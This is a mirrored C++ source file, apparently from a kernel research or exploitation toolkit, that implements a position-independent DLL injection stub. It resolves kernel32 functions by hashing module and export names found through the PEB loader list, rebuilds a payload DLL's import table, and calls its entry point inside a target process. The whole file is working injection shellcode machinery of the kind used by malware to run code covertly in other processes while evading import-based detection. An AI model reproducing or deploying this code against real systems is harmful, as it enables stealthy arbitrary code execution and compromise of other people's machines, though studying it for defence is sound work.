mirror of
https://github.com/Cr4sh/KernelForge
synced 2026-06-08 10:43:38 +00:00
262 lines
8.1 KiB
C++
262 lines
8.1 KiB
C++
#include "stdafx.h"
|
|
|
|
typedef BOOL (WINAPI * DLL_MAIN)(
|
|
PVOID hinstDLL,
|
|
DWORD fdwReason,
|
|
PVOID lpvReserved
|
|
);
|
|
//--------------------------------------------------------------------------------------
|
|
DWORD WINAPI dll_inject_Entry(PDLL_INJECT_STRUCT Struct)
|
|
{
|
|
// check if payload present
|
|
PVOID ModuleBase = Struct->ModuleBase;
|
|
if (ModuleBase)
|
|
{
|
|
// load imports
|
|
if (dll_inject_ProcessImports(ModuleBase))
|
|
{
|
|
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
|
|
RVATOVA(ModuleBase, ((PIMAGE_DOS_HEADER)ModuleBase)->e_lfanew);
|
|
|
|
if (pHeaders->OptionalHeader.AddressOfEntryPoint != 0)
|
|
{
|
|
DLL_MAIN DllMain = (DLL_MAIN)
|
|
RVATOVA(ModuleBase, pHeaders->OptionalHeader.AddressOfEntryPoint);
|
|
|
|
// call DLL entry point
|
|
DllMain(ModuleBase, DLL_PROCESS_ATTACH, NULL);
|
|
}
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
DWORD WINAPI dll_inject_CalcHash(char *lpszString)
|
|
{
|
|
DWORD Hash = 0;
|
|
char *lpszChar = lpszString;
|
|
|
|
while (*lpszChar)
|
|
{
|
|
Hash = ((Hash << 7) & (DWORD)-1) | (Hash >> (32 - 7));
|
|
Hash = Hash ^ *lpszChar;
|
|
|
|
lpszChar += 1;
|
|
}
|
|
|
|
return Hash;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
PVOID WINAPI dll_inject_GetModuleAddressByHash(DWORD ModuleHash)
|
|
{
|
|
PUCHAR Peb = NULL;
|
|
|
|
#ifdef _X86_
|
|
|
|
Peb = (PUCHAR)__readfsdword(0x30);
|
|
|
|
#else _AMD64_
|
|
|
|
PUCHAR Teb = (PUCHAR)__readgsqword(0x30);
|
|
if (Teb)
|
|
{
|
|
Peb = *(PUCHAR *)(Teb + 0x60);
|
|
}
|
|
|
|
#endif
|
|
|
|
if (Peb == NULL)
|
|
{
|
|
// process is not initialized properly
|
|
return NULL;
|
|
}
|
|
|
|
// obtain address of first entry in loader's table
|
|
PPEB_LDR_DATA LdrData = *(PPEB_LDR_DATA *)(Peb + DLL_INJECT_PEB_LDR_TABLE_OFFSET);
|
|
PLIST_ENTRY Head = &LdrData->ModuleListLoadOrder;
|
|
PLIST_ENTRY Entry = Head->Flink;
|
|
|
|
// parse loader table entries
|
|
while (Entry != Head)
|
|
{
|
|
char szBaseDllName[MAX_PATH];
|
|
PLDR_DATA_TABLE_ENTRY LdrData = CONTAINING_RECORD(Entry, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);
|
|
WORD NameLength = LdrData->BaseDllName.Length / sizeof(WCHAR);
|
|
|
|
for (WORD i = 0; i < NameLength; i += 1)
|
|
{
|
|
// copy module name into ANSI string
|
|
char Chr = (char)LdrData->BaseDllName.Buffer[i];
|
|
|
|
if ((Chr >= 'A') && (Chr <= 'Z'))
|
|
{
|
|
// convert characetr to the low case
|
|
Chr = Chr + ('a' - 'A');
|
|
}
|
|
|
|
szBaseDllName[i] = Chr;
|
|
}
|
|
|
|
szBaseDllName[NameLength] = '\0';
|
|
|
|
// check the name hash
|
|
if (dll_inject_CalcHash(szBaseDllName) == ModuleHash)
|
|
{
|
|
return LdrData->DllBase;
|
|
}
|
|
|
|
Entry = Entry->Flink;
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
PVOID WINAPI dll_inject_GetProcAddressByHash(PVOID Image, DWORD ProcHash)
|
|
{
|
|
if (Image == NULL)
|
|
{
|
|
// something goes wrong
|
|
return NULL;
|
|
}
|
|
|
|
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
|
|
RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
|
|
|
|
DWORD Addr = 0;
|
|
DWORD ExportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
DWORD ExportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
|
|
|
|
if (ExportAddr != 0)
|
|
{
|
|
PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(Image, ExportAddr);
|
|
|
|
if (pExport->AddressOfFunctions == 0 ||
|
|
pExport->AddressOfNameOrdinals == 0 ||
|
|
pExport->AddressOfNames == 0)
|
|
{
|
|
// no exports by name
|
|
return NULL;
|
|
}
|
|
|
|
// parse module exports
|
|
PDWORD AddrOfFunctions = (PDWORD)RVATOVA(Image, pExport->AddressOfFunctions);
|
|
PWORD AddrOfOrdinals = (PWORD)RVATOVA(Image, pExport->AddressOfNameOrdinals);
|
|
PDWORD AddrOfNames = (PDWORD)RVATOVA(Image, pExport->AddressOfNames);
|
|
|
|
for (DWORD i = 0; i < pExport->NumberOfNames; i += 1)
|
|
{
|
|
// calculate and compare hash of function
|
|
if (dll_inject_CalcHash((char *)RVATOVA(Image, AddrOfNames[i])) == ProcHash)
|
|
{
|
|
// get exported function RVA
|
|
Addr = AddrOfFunctions[AddrOfOrdinals[i]];
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
if (Addr != 0)
|
|
{
|
|
// check for the forwarded export
|
|
if (Addr > ExportAddr &&
|
|
Addr < ExportAddr + ExportSize)
|
|
{
|
|
// forwarded exports are not supported
|
|
return NULL;
|
|
}
|
|
|
|
return RVATOVA(Image, Addr);
|
|
}
|
|
|
|
return NULL;
|
|
}
|
|
//--------------------------------------------------------------------------------------
|
|
BOOL WINAPI dll_inject_ProcessImports(PVOID Image)
|
|
{
|
|
dll_inject_LoadLibraryA f_LoadLibraryA = NULL;
|
|
dll_inject_GetProcAddress f_GetProcAddress = NULL;
|
|
|
|
// get kernel32.dll base address
|
|
PVOID KernelBase = dll_inject_GetModuleAddressByHash(DLL_INJECT_HASH_KERNEL32);
|
|
if (KernelBase)
|
|
{
|
|
f_LoadLibraryA = (dll_inject_LoadLibraryA)
|
|
dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_LOAD_LIBRARY_A);
|
|
|
|
f_GetProcAddress = (dll_inject_GetProcAddress)
|
|
dll_inject_GetProcAddressByHash(KernelBase, DLL_INJECT_HASH_GET_PROC_ADDRESS);
|
|
}
|
|
|
|
if (f_LoadLibraryA == NULL ||
|
|
f_GetProcAddress == NULL)
|
|
{
|
|
// unable to import required functions
|
|
return FALSE;
|
|
}
|
|
|
|
PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS)
|
|
RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
|
|
|
|
DWORD ImportAddr = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
|
|
DWORD ImportSize = pHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
|
|
|
|
if (ImportAddr != 0)
|
|
{
|
|
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(Image, ImportAddr);
|
|
|
|
while (pImport->Name != 0)
|
|
{
|
|
char *lpszLibName = (char *)RVATOVA(Image, pImport->Name);
|
|
|
|
// load import library
|
|
PVOID LibAddr = f_LoadLibraryA(lpszLibName);
|
|
if (LibAddr == NULL)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
// process thunks data
|
|
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)RVATOVA(Image, pImport->FirstThunk);
|
|
while (pThunk->u1.Ordinal != 0)
|
|
{
|
|
if (pThunk->u1.Ordinal & 0xf0000000)
|
|
{
|
|
// lookup function address by ordinal
|
|
PVOID FuncAddr = f_GetProcAddress(LibAddr, (char *)(pThunk->u1.Ordinal & 0xffff));
|
|
if (FuncAddr == NULL)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
*(PVOID *)pThunk = FuncAddr;
|
|
}
|
|
else
|
|
{
|
|
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)RVATOVA(Image, pThunk->u1.AddressOfData);
|
|
char *lpszFuncName = (char *)&pName->Name;
|
|
|
|
// lookup function address by name
|
|
PVOID FuncAddr = f_GetProcAddress(LibAddr, lpszFuncName);
|
|
if (FuncAddr == NULL)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
*(PVOID *)pThunk = FuncAddr;
|
|
}
|
|
|
|
pThunk += 1;
|
|
}
|
|
|
|
pImport += 1;
|
|
}
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
void WINAPI dll_inject_End(void) { }
|
|
//--------------------------------------------------------------------------------------
|
|
// EoF
|